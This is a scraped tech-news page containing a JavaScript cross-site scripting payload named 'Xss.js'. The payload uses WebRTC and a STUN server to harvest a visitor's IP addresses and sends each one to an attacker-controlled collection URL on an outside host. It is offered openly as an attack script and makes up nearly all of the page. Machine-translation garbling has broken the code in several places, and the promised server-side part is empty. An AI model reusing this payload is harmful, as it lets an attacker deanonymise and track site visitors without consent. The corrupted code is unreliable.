Shulou(Shulou.com)06/01 Report--

Xss.jsfunction getIPs (callback) {var ip_dups = {}; / / compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection | | window.mozRTCPeerConnection | | window.webkitRTCPeerConnection; var useWebKit =!! window.webkitRTCPeerConnection / / bypass naive webrtc blocking using an iframe if (! RTCPeerConnection) {/ / NOTE: you need to have an iframe in the page right above the script tag / /... getIPs called in here... / / var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection | | win.mozRTCPeerConnection | | win.webkitRTCPeerConnection; useWebKit =!! win.webkitRTCPeerConnection } / / minimal requirements for data connection var mediaConstraints = {optional: [{RtpDataChannels: true}]}; var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; / / construct a new RTCPeerConnection var pc = new RTCPeerConnection (servers, mediaConstraints) Function handleCandidate (candidate) {/ / match just the IP address var ip_regex = / ([0-9] {1 candidate 3}) {3} (\. [0-9] {1J 3}) {3} | [a-f0-9] {1J 4} (: [a-f0-9] {1J 4}) {7}) / var ip_addr = ip_regex.exec (candidate) [1] / / remove duplicates if (ip_ DPS [IP _ addr] = undefined) callback (ip_addr); ip_ DPS [IP _ addr] = true } / / listen for candidate events pc.onicecandidate = function (ice) {/ / skip non-candidate events if (ice.candidate) handleCandidate (ice.candidate.candidate);}; / / create a bogus data channel pc.createDataChannel (") / create an offer sdp pc.createOffer (function (result) {/ / trigger the stun server request pc.setLocalDescription (result, function () {}, function () {});}, function () {}) / / wait for a while to let everything done setTimeout (function () {/ / read candidate info from local description var lines = pc.localDescription.sdp.split ('\ n') Lines.forEach (function (line) {if (line.indexOf ('ajar candidate')) = 0) handleCandidate (line);};}, 1000) } / / insert IP addresses into the pagegetIPs (function (ip) {var url= "http://192.168.80.133:81/aaa.php?ip="+ip; var xmlhttp1=new XMLHttpRequest (); xmlhttp1.open (" GET ", url, true); xmlhttp1.setRequestHeader (" Content-Type "," application/x-www-form-urlencoded "); xmlhttp1.send (null);})

Server side:

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.